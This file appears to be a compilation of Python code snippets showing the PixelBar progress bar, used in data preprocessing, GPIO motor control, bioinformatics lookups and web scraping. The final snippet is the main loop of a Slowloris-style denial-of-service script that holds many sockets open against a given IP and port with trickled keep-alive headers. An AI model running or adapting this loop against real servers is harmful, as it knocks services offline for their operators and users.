def write_records(data, filename): series = data[0] target = data[1] writer = tf.io.TFRecordWriter( f'{hp.reanalysis_preprocess_out_dir}/{filename}') bar = PixelBar(r'Generating', max=len(data), suffix='%(percent)d%%') for s, t in zip(series, target): example = tf.train.Example(features=tf.train.Features( feature={ 'input_sst': _bytes_feature(s['sst'].tobytes()), 'input_uwind': _bytes_feature(s['uwind'].tobytes()), 'input_vwind': _bytes_feature(s['vwind'].tobytes()), 'input_sshg': _bytes_feature(s['sshg'].tobytes()), 'input_thflx': _bytes_feature(s['thflx'].tobytes()), 'output_sst': _bytes_feature(t['sst'].tobytes()), 'output_uwind': _bytes_feature(t['uwind'].tobytes()), 'output_vwind': _bytes_feature(t['vwind'].tobytes()), 'output_sshg': _bytes_feature(t['sshg'].tobytes()), 'output_thflx': _bytes_feature(t['thflx'].tobytes()) })) writer.write(example.SerializeToString()) bar.next() writer.close() bar.finish()
def start_motion(self,error): GPIO.output(12, False) GPIO.output(16, True) self.set_mode(3) number_of_steps = int(math.ceil(self.exposure_time*self.step_per_sec)) print("required steps are: ",number_of_steps) print("precalculated error is set to: ", error, "%") step = 0 progress_bar= PixelBar('Progress bar', max=number_of_steps) start = time.time() while step<number_of_steps: for seq_step in range(len(self.sequence)): for pin in range(4): GPIO.output(self.Pins[pin], self.sequence[seq_step][pin]) time.sleep(self.delay-error/100.*self.delay) step = step + 1 progress_bar.next() if(step >= number_of_steps): break end = time.time() progress_bar.finish() self.duration = round(end-start,8) print("total steps counted were: ",step) print("duration measured was: ", self.duration) print("error (%): ",100.*round((self.exposure_time-self.duration)/self.exposure_time,8)) GPIO.output(12, True) GPIO.output(16, False)
def Pb8(): from progress.bar import PixelBar import time bar = PixelBar('进度条8', max=100) #max的值100,可调节 for i in range(100): #这个也需要适当调节 bar.next() time.sleep(0.1) #延迟时间,可调节,0.1~1之间最佳 bar.finish()
def download_resources(resources: dict): bar = PixelBar("\U0001F4E5 Downloading resources", max=len(resources)) for resource_url, resource_path in resources.items(): try: path = os.path.abspath(resource_path) content = load(resource_url) log.debug(f"{resource_url} loaded") storage.save(content, path) log.debug(f"'{resource_path}' saved") except (errors.DownloadingError, errors.SavingError): pass finally: bar.next() bar.finish()
def progressbar(epilog, current, max): global bar if current == 0: bar = PixelBar() width, height = os.get_terminal_size() width -= len(f"{max}/{max}") width -= len(epilog) width -= 2 # ears width -= 3 # number of spaces bar = PixelBar(epilog, max=max, width=width) # width -= len(f"{max}/{max}") bar.next() if current + 1 == max: bar.finish()
def getName(accession_numbers): """Gets the organism name based on NCBI accession numbers. Reads will only be classified when the first two BLAST hits are identical. When the the top 2 hits are different the reads will be registered as unclassified. Arguments: accession_numbers: List of NCBI accession numbers from the BLAST output. Raises: IndexError: Only one result found so no top 3 can be selected. Returns: Dictionary with all found organism names and count. """ acc_num = [] identified = [] count = 0 for dummyread, numbers in accession_numbers.items(): count += 1 try: if numbers[0] == numbers[1]: acc_num.append(numbers[0]) else: identified.append("unclassified") except IndexError: identified.append("unclassified") Entrez.email = '*****@*****.**' print() bar = PixelBar('Getting names:', max=len(acc_num), suffix='%(percent)d%%') sys.stdout.flush() for accession in acc_num: handle = Entrez.efetch(db="nucleotide", id=accession, rettype="gb", retmode="text") result = handle.read().split('\n') for line in result: if 'ORGANISM' in line: identified.append(' '.join(line.split()[1:3])) bar.next() bar.finish() print() name_count = Counter(identified), len(identified) return name_count
def reset_tracker(self): GPIO.output(12, False) GPIO.output(18, True) self.set_mode(2) start = time.time() step = 0 number_of_steps = math.ceil(self.exposure_time*self.step_per_sec) progress_bar= PixelBar('Progress bar', max=number_of_steps) while step < number_of_steps: for seq_step in reversed(range(len(self.sequence))): step = step + 1 for pin in range(4): GPIO.output(self.Pins[pin], self.sequence[seq_step][pin]) time.sleep(self.delay_reset_position) progress_bar.next() if(step >= number_of_steps): break progress_bar.finish() GPIO.output(12, True) GPIO.output(18, False)
def read_grib(path): print(f'Parsing parameter {str.split(path, "/")[-1]}') bar = PixelBar(r'Parsing', max=len(os.listdir(path)), suffix='%(percent)d%%') year_record = {} for i in os.listdir(path): month = smonth year = int(str.split(i, '_')[2]) if calendar.isleap(year): month = bmonth records = [] grbs = pg.open(f'{path}/{i}') for grb in grbs: records.append(grb.values) month_record = [] count = 0 for j in range(12): sum = None for k in range(count, count + (month[j] * 4)): if sum is None: sum = records[k] else: sum += records[k] count += 1 month_record.append(np.array(sum / (month[j] * 4))) month_record = np.array(month_record) year_record[year] = month_record bar.next() bar.finish() print(year_record) reanalysis = [] for i in range(1851, 2015): reanalysis.append(year_record[i]) reanalysis = np.array(reanalysis) data = {f'{str.split(path, "/")[-1]}': reanalysis} np.savez(f'{final}/{str.split(path, "/")[-1]}.npz', **data)
def getAccessionNumbers(blastout): """Get the top 3 results from all reads in the BLAST output file. Arguments: blastout: BLAST output file. Return: Dictionary with read names and the top 3 accession numbers. """ with open(blastout, "r") as bfile: total_lines = len(bfile.read().split('\n')) with open(blastout, "r") as blastfile: current_read_id = "" accession_numbers = dict() count = 0 print() bar = PixelBar('Getting accession numbers:', max=total_lines - 1, suffix='%(percent)d%%') for line in blastfile: line = line.split('\t') read_id = line[0] accession = line[1] if read_id != current_read_id: count = 0 current_read_id = read_id if count <= 2 and current_read_id != "": if read_id in accession_numbers.keys(): accession_numbers[read_id].append(accession) count += 1 else: accession_numbers[read_id] = [accession] count += 1 bar.next() bar.finish() print(str(len(accession_numbers.keys())) + " reads found.") return accession_numbers
def download_content(page_content, page_url, files_dir): # noqa: C901, WPS231 """Download content and correct it's link in parsed page.""" attr_list = { 'link': 'href', 'img': 'src', 'script': 'src', } progress_bar = PixelBar('Processing', max=len(page_content)) for element in page_content: progress_bar.next() attr = attr_list[element.name] try: content_url = element[attr] except KeyError: continue normalized_content_url = get_normalized_content_url( page_url, content_url, ) if urlparse(normalized_content_url).netloc != urlparse( page_url).netloc: # noqa: E501 continue try: response, normalized_content_url = make_http_request( normalized_content_url, ) except requests.HTTPError: logging.info(f'Failed to download {content_url} - HTTP Error') continue file_name = get_file_name(normalized_content_url) write_file( os.path.join(files_dir, file_name), response.content, binary=True, ) new_link = f'{os.path.split(files_dir)[1]}/{file_name}' # noqa: WPS237 replace_content_link(element, attr, new_link) progress_bar.finish()
import time from progress.bar import PixelBar mylist = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] bar = PixelBar('PROGRESS', max=len(mylist)) for item in mylist: bar.next() time.sleep(1) bar.finish()
if __name__ == '__main__': if len(argv)<5: exit(REDC+"Usage: {} ip port count time".format(argv[0])) socketList = [] logger.info('count: {} timer: {}'.format(count, timer)) bar = Counter(GREENC+'Creating sockets: '+YELLOWC, max=count) for _ in range(count): try: soc=init(ip, port) except error: break socketList.append(soc) bar.next() print() while True: sendbar = PixelBar(GREYC+'Sending keep-alive Headers'+REDC, max=timer) logger.info('Sending keep-alive Headers') for soc in socketList: try: soc.send('X-a {}\r\n'.format(randint(1,6000)).encode('utf-8')) except error: socketList.remove(soc) for _ in range(count - len(socketList)): try: soc=init(ip, port) if soc: socketList.append(soc);logger.error('Socket Died') except error: break for t in range(timer): sleep(1); sendbar.next() sendbar.start()